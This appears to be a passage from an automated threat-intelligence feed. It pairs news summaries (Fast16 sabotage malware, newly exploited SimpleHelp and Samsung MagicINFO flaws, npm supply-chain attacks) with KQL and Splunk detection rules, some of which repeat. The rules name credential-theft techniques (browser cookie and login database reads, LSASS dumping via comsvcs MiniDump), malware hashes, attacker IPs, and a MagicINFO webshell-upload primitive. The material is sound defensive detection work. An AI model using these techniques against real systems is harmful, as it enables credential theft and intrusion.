from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Researchers Uncover Pre-Stuxnet ‘fast16’ Malware Targeting Engineering Software
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("svcmgmt.exe", "fast16.sys", "svcmgmt.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("svcmgmt.exe", "fast16.sys", "svcmgmt.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Researchers Uncover Pre-Stuxnet ‘fast16’ Malware Targeting Engineering Software ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("svcmgmt.exe","fast16.sys","svcmgmt.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("svcmgmt.exe","fast16.sys","svcmgmt.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Fast16 carrier 'svcmgmt.exe' execution with Lua bytecode loader flagsInstallationHigh
Hunts execution of the Fast16 sabotage carrier (svcmgmt.exe) that loads an embedded Lua 5.0 VM and an encrypted bytecode container. Triggers on the published SentinelOne hashes or on svcmgmt.exe being launched with the -p / -i / -r switches that select Propagate, Install+Run-Lua, or Run-Lua-only modes.
Rationale: SentinelOne published the carrier filename svcmgmt.exe, three hashes (MD5/SHA1/SHA256), and the unique -p/-i/-r argument set used to dispatch the embedded Lua bytecode. Combining the filename with the documented switch syntax keeps FPs near zero because no legitimate Windows component is named svcmgmt.exe with those flags. Cross-checked against SentinelOne Labs and SecurityWeek write-ups.
Cross-checked against:
• https://www.sentinelone.com/labs/fast16-mystery-shadowbrokers-reference-reveals-high-precision-software-sabotage-5-years-before-stuxnet/
• https://www.securityweek.com/pre-stuxnet-sabotage-malware-fast16-linked-to-us-iran-cyber-tensions/
• https://www.theregister.com/2026/04/24/fast16_sabotage_malware/
ATT&CKT1059T1027T1543.003
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where FileName =~ "svcmgmt.exe"
or SHA256 in~ ("9a10e1faa86a5d39417cae44da5adf38824dfb9a16432e34df766aa1dc9e3525")
or SHA1 in~ ("de584703c78a60a56028f9834086facd1401b355")
or MD5 in~ ("dbe51eabebf9d4ef9581ef99844a2944")
| where SHA256 == "9a10e1faa86a5d39417cae44da5adf38824dfb9a16432e34df766aa1dc9e3525"
or SHA1 == "de584703c78a60a56028f9834086facd1401b355"
or MD5 == "dbe51eabebf9d4ef9581ef99844a2944"
or ProcessCommandLine matches regex @"(?i)\bsvcmgmt\.exe\b\s+-(p|i|r)(\s|$)"
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, ProcessCommandLine, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name="svcmgmt.exe" OR Processes.process_hash IN ("9a10e1faa86a5d39417cae44da5adf38824dfb9a16432e34df766aa1dc9e3525","dbe51eabebf9d4ef9581ef99844a2944","de584703c78a60a56028f9834086facd1401b355")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_hash | `drop_dm_object_name(Processes)` | where match(process,"(?i)\\bsvcmgmt\\.exe\\b\\s+-(p|i|r)(\\b|$)") OR process_hash IN ("9a10e1faa86a5d39417cae44da5adf38824dfb9a16432e34df766aa1dc9e3525","dbe51eabebf9d4ef9581ef99844a2944","de584703c78a60a56028f9834086facd1401b355") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Fast16 kernel driver 'fast16.sys' drop or load (PDB C:\buildy\driver\fd\i386)InstallationHigh
Detects on-disk creation, image load, or service registration of the Fast16 file-system filter driver fast16.sys. Pivots on the published driver hashes and the embedded PDB path C:\\buildy\\driver\\fd\\i386\\fast16.pdb that uniquely identifies the 2005-built rootkit component.
Rationale: fast16.sys, the SvcMgmt service name, and the device names \\Device\\fast16 / \\??\\fast16 are unique strings published by SentinelOne. The hashes plus the registry-path artefact give a deterministic, no-FP signature for the rootkit installer; the PDB path C:\\buildy\\driver\\fd\\i386\\fast16.pdb is so unusual that any binary carrying it is high-confidence Fast16. Verified against SentinelOne Labs IOC list and Security Affairs reporting.
Cross-checked against:
• https://www.sentinelone.com/labs/fast16-mystery-shadowbrokers-reference-reveals-high-precision-software-sabotage-5-years-before-stuxnet/
• https://securityaffairs.com/191325/malware/fast16-pre-stuxnet-malware-that-targeted-precision-engineering-software.html
ATT&CKT1014T1543.003T1112
Data sourcesEndpoint.FilesystemEndpoint.Registry
union isfuzzy=true
(DeviceFileEvents
| where FileName =~ "fast16.sys"
or SHA256 in~ ("07c69fc33271cf5a2ce03ac1fed7a3b16357aec093c5bf9ef61fbfa4348d0529","8fcb4d3d4df61719ee3da98241393779290e0efcd88a49e363e2a2dfbc04dae9")
or SHA1 in~ ("92e9dcaf7249110047ef121b7586c81d4b8cb4e5","675cb83cec5f25ebbe8d9f90dea3d836fcb1c234")
or MD5 in~ ("0ff6abe0252d4f37a196a1231fae5f26","410eddfc19de44249897986ecc8ac449")
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine),
(DeviceImageLoadEvents
| where FileName =~ "fast16.sys"
or SHA256 == "07c69fc33271cf5a2ce03ac1fed7a3b16357aec093c5bf9ef61fbfa4348d0529"
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine),
(DeviceRegistryEvents
| where RegistryKey has @"\Services\SvcMgmt"
or RegistryValueData has "fast16.sys"
or RegistryValueData has @"\Device\fast16"
or RegistryValueData has @"\??\fast16"
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name="fast16.sys" OR Filesystem.file_hash IN ("07c69fc33271cf5a2ce03ac1fed7a3b16357aec093c5bf9ef61fbfa4348d0529","0ff6abe0252d4f37a196a1231fae5f26","92e9dcaf7249110047ef121b7586c81d4b8cb4e5","8fcb4d3d4df61719ee3da98241393779290e0efcd88a49e363e2a2dfbc04dae9","410eddfc19de44249897986ecc8ac449")) by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name Filesystem.file_hash Filesystem.process_name | `drop_dm_object_name(Filesystem)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where (Registry.registry_path="*\\Services\\SvcMgmt*" OR Registry.registry_value_data="*fast16.sys*" OR Registry.registry_value_data="*\\??\\fast16*" OR Registry.registry_value_data="*\\Device\\fast16*") by Registry.dest Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_name | `drop_dm_object_name(Registry)`] | `security_content_ctime(firstTime)`
[LLM] Fast16 trojanised LS-DYNA/PKPM/MOHID engineering binary executionActions on ObjectivesMedium
Hunts execution of the specific patched copies of high-precision simulation software (LS-DYNA 970, PKPM SATWE/CAD/Concrete-Shear, MOHID hydrodynamic) catalogued by SentinelOne as Fast16 sabotage targets. Useful in engineering, defence-research, structural and nuclear-adjacent enclaves where these tools run.
Rationale: SentinelOne published exact SHA256 hashes for the trojanised LS-DYNA 970, PKPM SATWE/CAD/Concrete-Shear modules and MOHID build that contain the Fast16 floating-point patching routine. Hash-pinned execution detection on rare engineering software is a low-volume, high-fidelity hunt that catches the sabotage payload itself rather than just the loader. Confirmed via SentinelOne Labs IOC table and Dark Reading coverage.
Cross-checked against:
• https://www.sentinelone.com/labs/fast16-mystery-shadowbrokers-reference-reveals-high-precision-software-sabotage-5-years-before-stuxnet/
• https://www.darkreading.com/cyber-risk/20-year-old-malware-rewrites-history-of-cyber-sabotage
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_hash IN ("5966513a12a5601b262c4ee4d3e32091feb05b666951d06431c30a8cece83010","1d2f32c57ae2f2013f513d342925e972","09ca719e06a526f70aadf34fb66b136ed20f923776e6b33a33a9059ef674da22","8b018452fdd64c346af4d97da420681e2e0b55b8c9ce2b8de75e330993b759a0","06361562cc53d759fb5a4c2b7aac348e4d23fe59be3b2871b14678365283ca47","bd04715c5c43c862c38a4ad6c2167ad082a352881e04a35117af9bbfad8e5613","da2b170994031477091be89c8835ff9db1a5304f3f2f25344654f44d0430ced1","aeaa389453f04a9e79ff6c8b7b66db7b65d4aaffc6cac0bd7957257a30468e33","66fe485f29a6405265756aaf7f822b9ceb56e108afabd414ee222ee9657dd7e2","c11a210cb98095422d0d33cbd4e9ecc86b95024f956ede812e17c97e79591cfa","7e00030a35504de5c0d16020aa40cbaf5d36561e0716feb8f73235579a7b0909","e775049d1ecf68dee870f1a5c36b2f3542d1182782eb497b8ccfd2309c400b3a") by Processes.dest Processes.user Processes.process_name Processes.process Processes.process_hash Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
2026-04-259 use cases4 techniques6 kill-chain phases detected
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added four vulnerabilities impacting SimpleHelp, Samsung MagicINFO 9 Server, and D-Link DIR-823X series routers to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The list of vulnerabilities is below - CVE-2024-57726 (CVSS score: 9.9) - A missing authorization vulnerability in
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-57726", "CVE-2024-57728", "CVE-2024-7399", "CVE-2025-29635", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] SimpleHelp Remote Access client spawning command-line tooling (DragonForce/Medusa precursor via CVE-2024-57726/57727/57728)Actions on ObjectivesHigh
Hunts for the SimpleHelp RMM client (JWrapper-Remote_Access / Remote_Access / SimpleHelpCustomer) being abused as a hands-on-keyboard launcher after attackers chain CVE-2024-57726 (auth bypass) with CVE-2024-57727/57728 to take over a SimpleHelp server. DragonForce and Medusa operators have used these flaws against MSPs to push commands to downstream customer endpoints, so any SimpleHelp client process spawning cmd/powershell/psexec/wmic/recon binaries is a high-value lead.
Rationale: Sophos, Bleeping Computer and Halcyon all describe DragonForce using a compromised SimpleHelp instance to drive its JWrapper-Remote_Access client on customer endpoints to run discovery, PsExec/WMI lateral movement and disable AV before encryption. SimpleHelp client binaries do not normally spawn cmd/powershell/recon binaries, so this pivot from RMM agent to hands-on-keyboard tooling is high-fidelity, especially after CISA's KEV addition signals continued exploitation.
Cross-checked against:
• https://www.sophos.com/en-us/blog/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers
• https://www.bleepingcomputer.com/news/security/dragonforce-ransomware-abuses-simplehelp-in-msp-supply-chain-attack/
• https://www.halcyon.ai/blog/dragonforce-ransomware-leverages-simplehelp-exploits-to-hit-msps
• https://threatprotect.qualys.com/2025/02/07/simplehelp-remote-monitoring-and-management-multiple-vulnerabilities-cve-2024-57726-cve-2024-57727-cve-2024-57728/
ATT&CKT1219T1059.001T1059.003T1078
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("JWrapper-Remote_Access.exe","Remote_Access.exe","SimpleHelpCustomer.exe","SimpleService.exe","SimpleHelp.exe")
or InitiatingProcessFolderPath has_any (@"\SimpleHelp\", @"\JWrapper-Remote Access\", @"\JWrapper-Windows\")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","psexec.exe","psexec64.exe","paexec.exe","wmic.exe","net.exe","net1.exe","nltest.exe","whoami.exe","quser.exe","systeminfo.exe","tasklist.exe","reg.exe","schtasks.exe","mshta.exe","rundll32.exe","certutil.exe","bitsadmin.exe","curl.exe","vssadmin.exe")
| project Timestamp, DeviceName, AccountDomain, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, FileName, ProcessCommandLine, ProcessId
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN ("JWrapper-Remote_Access.exe","Remote_Access.exe","SimpleHelpCustomer.exe","SimpleService.exe","SimpleHelp.exe") AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","psexec.exe","psexec64.exe","paexec.exe","wmic.exe","net.exe","net1.exe","nltest.exe","whoami.exe","quser.exe","systeminfo.exe","tasklist.exe","reg.exe","schtasks.exe","mshta.exe","rundll32.exe","certutil.exe","bitsadmin.exe","curl.exe","vssadmin.exe") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | sort - lastTime
[LLM] Samsung MagicINFO 9 Server SWUpdateFileUploader unauthenticated JSP webshell drop (CVE-2024-7399)ExploitationHigh
Detects exploitation of the Samsung MagicINFO 9 Server path-traversal/unauth-upload flaw added to KEV, where an attacker POSTs a malicious .jsp to /MagicInfo/servlet/SWUpdateFileUploader and then GETs that JSP with a cmd= parameter to run OS commands as SYSTEM. Targets both the network/web request pattern and the on-disk artefact (java/tomcat writing a new .jsp under the MagicINFO webapps directory).
Rationale: Huntress, Arctic Wolf and SecurityWeek all describe the same exploitation primitive: an unauthenticated POST to /MagicInfo/servlet/SWUpdateFileUploader writes a JSP under the web root which is then invoked with a cmd= query parameter to obtain SYSTEM-level command execution. The endpoint string and JSP+cmd= signature are unique to this vulnerability, and a java.exe/tomcat.exe writing a brand-new .jsp into the MagicINFO webapps folder followed by spawning cmd.exe/powershell.exe is essentially never seen on a clean install.
Cross-checked against:
• https://www.huntress.com/blog/rapid-response-samsung-magicinfo9-server-flaw
• https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-exploitation-of-path-traversal-vulnerability-in-samsung-magicinfo-9-server-cve-2024-7399/
• https://www.securityweek.com/improperly-patched-samsung-magicinfo-vulnerability-exploited-by-botnet/
• https://www.bleepingcomputer.com/news/security/samsung-magicinfo-9-server-rce-flaw-now-exploited-in-attacks/
ATT&CKT1190T1505.003T1059.003
Data sourcesWeb.WebEndpoint.FilesystemEndpoint.Processes
let webshell_dirs = dynamic([@"\MagicInfo\", @"MagicInfo Premium\", @"\webapps\MagicInfo\", @"\webapps\ROOT\", @"\WEB-INF\", @"\tomcat\webapps\"]);
let sus_writers = dynamic(["java.exe","tomcat.exe","tomcat9.exe","tomcat10.exe","MagicInfoPremium.exe","w3wp.exe"]);
DeviceFileEvents
| where ActionType in ("FileCreated","FileRenamed","FileModified")
| where FileName endswith ".jsp" or FileName endswith ".jspx"
| where FolderPath has_any (webshell_dirs)
| where InitiatingProcessFileName in~ (sus_writers)
| project Timestamp, DeviceName, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("java.exe","tomcat.exe","tomcat9.exe","tomcat10.exe","MagicInfoPremium.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","whoami.exe","net.exe","net1.exe","systeminfo.exe","curl.exe","certutil.exe","bitsadmin.exe","wget.exe")
| project ChildTimestamp=Timestamp, DeviceName, ChildFileName=FileName, ChildCmd=ProcessCommandLine
) on DeviceName
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web.Web where (Web.url="*/MagicInfo/servlet/SWUpdateFileUploader*" OR Web.uri_path="*SWUpdateFileUploader*" OR (Web.url="*.jsp*" AND (Web.url="*cmd=*" OR Web.url="*../*" OR Web.url="*%2e%2e%2f*"))) by Web.src Web.dest Web.http_method Web.url Web.status Web.user_agent Web.http_user_agent | `drop_dm_object_name(Web)` | stats values(http_method) as methods values(url) as urls values(status) as status values(user_agent) as ua dc(url) as url_count count by src dest | where url_count >= 1
2026-04-2410 use cases5 techniques6 kill-chain phases detected
Unit 42 analyzes npm supply chain evolution post-Shai Hulud. Discover wormable malware, CI/CD persistence, multi-stage attacks and more. The post The npm Threat Landscape: Attack Surface and Mitigations appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — The npm Threat Landscape: Attack Surface and Mitigations
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("94.154.172.43", "91.195.240.123") or RemoteUrl has_any ("audit.checkmarx.cx", "checkmarx.cx", "proton.me")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("94.154.172.43", "91.195.240.123")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("audit.checkmarx.cx", "checkmarx.cx", "proton.me")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("audit.checkmarx.cx", "checkmarx.cx", "proton.me")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
